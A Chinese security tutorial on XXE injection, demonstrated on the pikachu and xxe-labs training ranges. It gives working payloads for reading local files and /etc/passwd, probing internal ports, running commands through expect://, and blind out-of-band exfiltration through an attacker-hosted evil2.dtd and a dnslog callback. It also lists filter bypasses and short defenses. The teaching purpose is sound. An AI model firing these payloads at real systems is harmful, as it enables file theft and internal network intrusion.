XXE漏洞详解
XML外部实体注入——XXE漏洞详解
简单来说一下这个XXE漏洞,在这之前我也阅读了很多关于XXE漏洞的文章,发现有一小部分文章题目是 “XXE外部实体注入” 这样的字眼,我想这样的文章很大可能都没有弄明白XXE和XML的关系吧,也或者是不小心打错了。看到这里你如果没有反应过来 “XXE外部实体注入”,这样说有什么不妥,建议好好阅读一下这篇文章。
1、什么是XXE漏洞
首先要了解什么是XXE漏洞,首先应该了解一下什么是XML
XML(可扩展标记语言,英文全称:eXtensible Markup Language)是一种用于描述数据结构和交换数据的标记语言。XML是一种非常灵活的语言,可以用于描述各种类型的数据,如文档、图像、音频、视频等。
这个解释太官方,我们可以将xml语言和html对比着再来解释一下
1>xml语言是指可扩展标记语言,是一种标记语言,类似于html,html是超文本标记语言
2>xml的设计宗旨是传输数据,html的设计宗旨是显示数据
3>xml标签没有被预定义的,需要自行定义标签,比如shuxue98,html语言的标签都是被定义好的,比如: 这个标签就是加粗
4>xml被设计为具有自我描述性
5>xml是w3c的推荐标准
特点:
1>xml仅仅是纯文本,他不会做任何事情
2>xml可以自己发明标签(允许定义自己的标签和文档结构)
3>专门用来存放传输数据的东西
xml语言的格式
<?xml version="1.0" encoding="UTF-8"?> //xml的声明
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file://d:/1.txt" >
]> //DTD部分
<x>&xxe;</x> //xml部分
首先第一句是声明,声明这是一段xml代码,接下来是一个DTD的部分,意思是读取d盘上的1.txt文件。比如我们经常要用到某一组数据,那么每次都引用,肯定是非常不方便的,所以把这组经常用的数据设置成为一个变量,需要的时候直接调用这个变量,通过以上的解释,我们不难看出,xml如果产生漏洞,那肯定就是在这个DTD部分,最后则是xml部分。
接下来我们来介绍什么是xxe漏洞?
XXE漏洞全称XML External(外部的) Entity(实体) Injection(注入),即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
简而言之就是 外部实体,也就是我们DTD部分中的变量在加载(引用)外部的内容,从而发起了网络请求(本地请求)
漏洞原理:把用户输入的数据当成xml外部实体代码进行执行,利用xml的外部实体去访问内网,访问本机,访问本机的文件。
pikachu靶场案例演示
如图所示,我们先来读取一下D盘上的1.txt文件
读取代码如下
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://1.txt">
]>
<x>&xxe;</x>
复制代码,输入
我们可以看到他将D盘的1.txt文件读取出来了,那么是否可以进行跨盘读取呢?我们在c盘新建一个文件夹xml,里面放入我们的1.txt文件,读取一下
代码如下
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://xml/1.txt">
]>
<x>&xxe;</x>
我们可以看出,照样是可以读取出来的,如果是读取其c盘的敏感文件呢,如本地hosts文件等等。
由此我们可以想到,如果将file换成http协议,那么是否可以实现他的一个内网探针,访问其内网数据呢
访问代码如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/index.php" >
]>
<x>&xxe;</x>
如图所示,是可以访问到index.php中的内容的,有人可能在想,那如果index.php文件中的代码是phpinfo(),他是否会执行解析呢?
答案是不会解析,那么我如果去探测他的端口开放情况呢?比如,我看一下8081端口是否开放
访问代码如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:8081/index.php" >
]>
<x>&xxe;</x>
如图所示,代表了8081端口没有开放,这样也是可以探测端口开放情况。
我们也可以结合rce进行实体注入,但是这样有限制条件,该情况是在安装expect扩展的PHP环境里执行系统命令
代码如下:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
如果网站过滤了file协议或者你想实现自定义的攻击,那么就需要引入外部实体进行攻击了
代码如下:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:80/evil2.dtd">
%file;
]>
<x>&send;</x>
这段代码是在被攻击者的搜索框上面输入,而调用的地址则是攻击者的服务器上的evil2.dtd文件,攻击者的evil2.dtd文件则写上如下代码
代码:
<!ENTITY send SYSTEM "file://d:/1.txt">
当访问攻击者的dtd文件时,攻击者的文件指向了D盘的1.txt文件,使其读取
当然这种方法是有限制条件,也就是没有禁用外部实体,是不是有点像文件包含的远程包含。
当我们进行实战的时候,一般都是不会有回显,因为他调用就直接调用使用了,没有必要进行回显,当遇上没有回显的情况,我们应该怎么办?还是用pikachu靶场进行演示,把回显代码进行删除
这样的话,我们可以用刚才读文件的代码进行读取,看一下
无论输入什么,都是这个样子,也不知道是否执行,遇到这种情况,我们也是可以进行读取的
代码如下
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/1.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:80/evil2.dtd">
%dtd;
%send;
]>
evil2.dtd中的内容如下:
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://127.0.0.1:80/?data=%file;'>"
>
%payload;
解释一下以上代码,因为是没有了回显,那么先将读到的内容赋值给file,然后去请求我们(攻击者)服务器上的evil2.dtd文件,正好evil2.dtd中的内容是读取file,这样的话是不是也能实现读取1.txt文件中的内容,只不过是饶了一个弯。
然后对红框中的内容进行base64解码
如此也是可以实现对无回显内容显示。如果你学的扎实的话会想到sql注入时无回显报错时我们讲的dns注入,可以借助dns的网站来判断是否存在xxe漏洞
代码如下
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://04t1rn.dnslog.cn/?data=%file;'>"
>
%payload;
如图所示,有回显
当然,这个方法只是可以起到一个判断是否存在xxe漏洞的作用。
2、绕过
1>ENTITY、SYSTEM、file等关键词被过滤,可以采用编码的方式进行绕过,16进制等等
2>若http被过滤,可以采用data://协议、file://协议、php://filter协议等等绕过
3、检测
我们应该如何去判断网站是否存在xxe漏洞,用xxe-labs中的php作为案例来讲解一下,我们打开xxe-labs
随便输入账号密码进行抓包
其实这样的话是可以看出其符合xml语言的格式,然后将下面的代码替换为读取文件的代码
代码如下:
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY admin SYSTEM "file:///d:/1.txt">
]>
<user><username>&admin;</username><password>123</password></user>
如上图所示,一下子就检测出了是xxe漏洞,如果抓取的数据包没有这么明显的代码,我们应该如何检测呢?我们可以利用burpsuit的自带爬虫,对他进行检测。1、抓包 2、点击target 3、找到对应数据包,右击 4、选择scan
然后选择爬虫,点击OK
因为我们的数据包不太多,如果数据包很多,我们是可以进行筛选的
筛选完了以后,我们看一下MIMEtype,找到xml,可以看一下数据包:Content-Type: application/xml;charset=utf-8,可以尝试修改,同上
这样是可以达到一个检测的功能。不一定xml格式就一定有xxe漏洞,但是可以测试。
接下来看一下另一种检测方式,我们用CTF的一道试题进行分析,网址:http://web.jarvisoj.com:9882
我们提交一下,进行抓包
我们可以看到Content—Type的类型是application/json,那我们将他的类型修改为application/xml,末尾的类型也修改为xml的类型,因为他是linux(信息收集),所以我们可以读取他的etc/passwd
这样的话,也是一种检测xxe漏洞的方法。
4、防御
1>禁用外部实体引用
2>过滤xml中的一些关键词,如:DOCTYPE、ENTITY等等
3>安装一些waf工具
关于xxe漏洞就介绍这么多,欢迎大家关注公众号:星光安全
XXE漏洞详解的更多相关文章
- android WebView详解,常见漏洞详解和安全源码
这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析. 转载请注明出处:http://blog.csdn.net/se ...
- Java反序列化漏洞详解
Java反序列化漏洞从爆出到现在快2个月了,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具.本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Poc进 ...
- DWVA-关于SQL注入的漏洞详解
low等级 代码如下: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // ...
- SSRF漏洞详解
0.SSRF简介 SSRF全称为Server-side Request Forgery,即服务端请求伪造攻击,是一种由攻击者构造形成由服务器端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外 ...
- Web应用安全之文件上传漏洞详解
什么是文件上传漏洞 文件上传漏洞是在用户上传了一个可执行的脚本文件,本通过此脚本文件获得了执行服务器端命令的功能,这种攻击方式是最为直接,最为有效的,有时候,几乎没有什么门槛,也就是任何人都可以进行这 ...
- Apache解析漏洞详解
很多次听到人说apache的“解析漏洞”了,正好今天又有人问,那就简单科普一下这个“解析漏洞”是何物. 先来看测试过程和结果的对比吧. 结果一 首先,我安装了apache 2.x版本,同时以modul ...
- 【转】ecshop后台语言项执行漏洞详解
该漏洞需要能登录ecshop后台权限,简单修改下语言项目,即可在网站植入木马后门. 以下是详细分析 1.登陆到ecshop台后,选择模板管理,语言项编辑,搜索用户信息 为什么要搜索用户 该漏洞需要能登 ...
- Xshell安装及漏洞详解
1.下载安装包 ... 2.双击安装包,进入安装第一步 3.输入客户信息 4.选择目的位置,可以通过浏览器进行修改安装路径,点击下一步按钮 5.选择程序文件夹,点击下一步按钮 6.等待安装 7.完成安 ...
- web漏洞详解及修复建议
1.漏洞描述 跨站脚本攻击(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私.钓鱼欺骗.偷取密码.传播恶意代码等攻击行为. 恶意的攻击者将对客户端有危害的 ...
- Flash XSS 漏洞详解 根治的好办法
本文的目的是深层次的分析Flash的ExternalInterface的XSS漏洞,并提出比较有效的解决方案. 首先,我们看看什么情况下,会出现XSS. 第一种情况: 把flas ...
随机推荐
- LLaMA:开放和高效的基础语言模型
LLaMA:开放和高效的基础语言模型 论文:https://arxiv.org/pdf/2302.13971.pdf 代码:https://github.com/facebookresearch/ll ...
- 道德与社会问题简报 #3: Hugging Face 上的道德开放性
使命: 开放和优秀的机器学习 在我们的使命中,我们致力于推动机器学习 (ML) 的民主化,我们在研究如何支持 ML 社区工作并有助于检查危害和防止可能的危害发生.开放式的发展和科学可以分散力量,让许多 ...
- 30-externals(拒绝某些包被打包进来)
const { resolve } = require('path') const HtmlWebpackPlugin = require('html-webpack-plugin') module. ...
- Node.js躬行记(27)——接口管理
在页面发生线上问题时,你要做的事情就是去查接口,响应数据是否正确,查接口的方法有两种: 第一种是在浏览器中打开地址,但是你必须得知道详细的 URL,并且有些页面还需要附带参数. 第二种是打开编辑器,启 ...
- 一文详解RocketMQ-Spring的源码解析与实战
摘要:这篇文章主要介绍 Spring Boot 项目使用 rocketmq-spring SDK 实现消息收发的操作流程,同时笔者会从开发者的角度解读 SDK 的设计逻辑. 本文分享自华为云社区< ...
- 笔记:linux必备网络基础概念和以太网技术基础
笔记:linux必备网络基础概念和以太网技术基础 由于后面可能需要对交换机进行一些配置,所以也是临时学习一下iptables的相关配置,以及一些基本的网络知识,下面就是我看到一些资料做的一些总结,希望 ...
- C# ConfigureWait
ConfigureAwait 参数为bool类型.true:尝试将延续任务封送回原始上下文 我们一般使用的是false,用于避免强制在原始上下文或调度程序中进行回调. 原理: 以await DoSom ...
- Word中使用ChatGPT,写文档如有神助
[部署教程]国内网络可用,最强 ChatGPT 学术论文写作工具原创****付费 简介 Word GPT Plus 是一个集成了 chatGPT 模型的 Word 插件.它允许你基于你在文档中写的内容 ...
- git与github(结合clion操作)
对自己学习git的一个记录,由于刚开始接触git,所以没有对于git做深入解释和说明,仅供参考,如有理解不对的地方或者需要改进的地方敬请指出. 用到的git命令: git init //初始化 g ...
- 2022-12-09:上升的温度。以下的数据输出2和4,2015-01-02 的温度比前一天高(10 -> 25),2015-01-04 的温度比前一天高(20 -> 30),sql语句如何写? DR
2022-12-09:上升的温度.以下的数据输出2和4,2015-01-02 的温度比前一天高(10 -> 25),2015-01-04 的温度比前一天高(20 -> 30),sql语句如 ...